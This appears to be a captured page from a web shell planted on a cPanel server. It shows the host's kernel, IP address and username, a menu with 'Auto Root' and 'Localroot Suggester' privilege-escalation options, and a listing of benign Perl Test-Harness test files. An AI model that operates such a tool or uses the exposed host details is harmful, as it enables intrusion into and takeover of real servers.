Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Test-Harness /
t /
compat /
Delete
Unzip
Name
Size
Permission
Date
Action
env.t
627
B
-r--r--r--
2014-12-27 11:48
env_opts.t
1.49
KB
-r--r--r--
2014-12-27 11:48
failure.t
1.26
KB
-r--r--r--
2014-12-27 11:48
inc-propagation.t
1.38
KB
-r--r--r--
2014-12-27 11:48
inc_taint.t
626
B
-r--r--r--
2014-12-27 11:48
nonumbers.t
152
B
-r--r--r--
2014-12-27 11:48
regression.t
369
B
-r--r--r--
2014-12-27 11:48
subclass.t
676
B
-r--r--r--
2014-12-27 11:48
switches.t
357
B
-r--r--r--
2014-12-27 11:48
test-harness-compat.t
26.42
KB
-r--r--r--
2014-12-27 11:48
version.t
280
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl -w BEGIN { use lib 't/lib'; } use strict; use warnings; use Test::More tests => 1; use Dev::Null; use Test::Harness; sub _all_ok { my ($tot) = shift; return $tot->{bad} == 0 && ( $tot->{max} || $tot->{skipped} ) ? 1 : 0; } { local $ENV{PERL_TEST_HARNESS_DUMP_TAP} = 0; local $Test::Harness::Verbose = -9; push @INC, 'examples'; tie *NULL, 'Dev::Null' or die $!; select NULL; my ( $tot, $failed ) = Test::Harness::execute_tests( tests => ['t/sample-tests/inc_taint'] ); select STDOUT; ok( _all_ok($tot), 'tests with taint on preserve @INC' ); }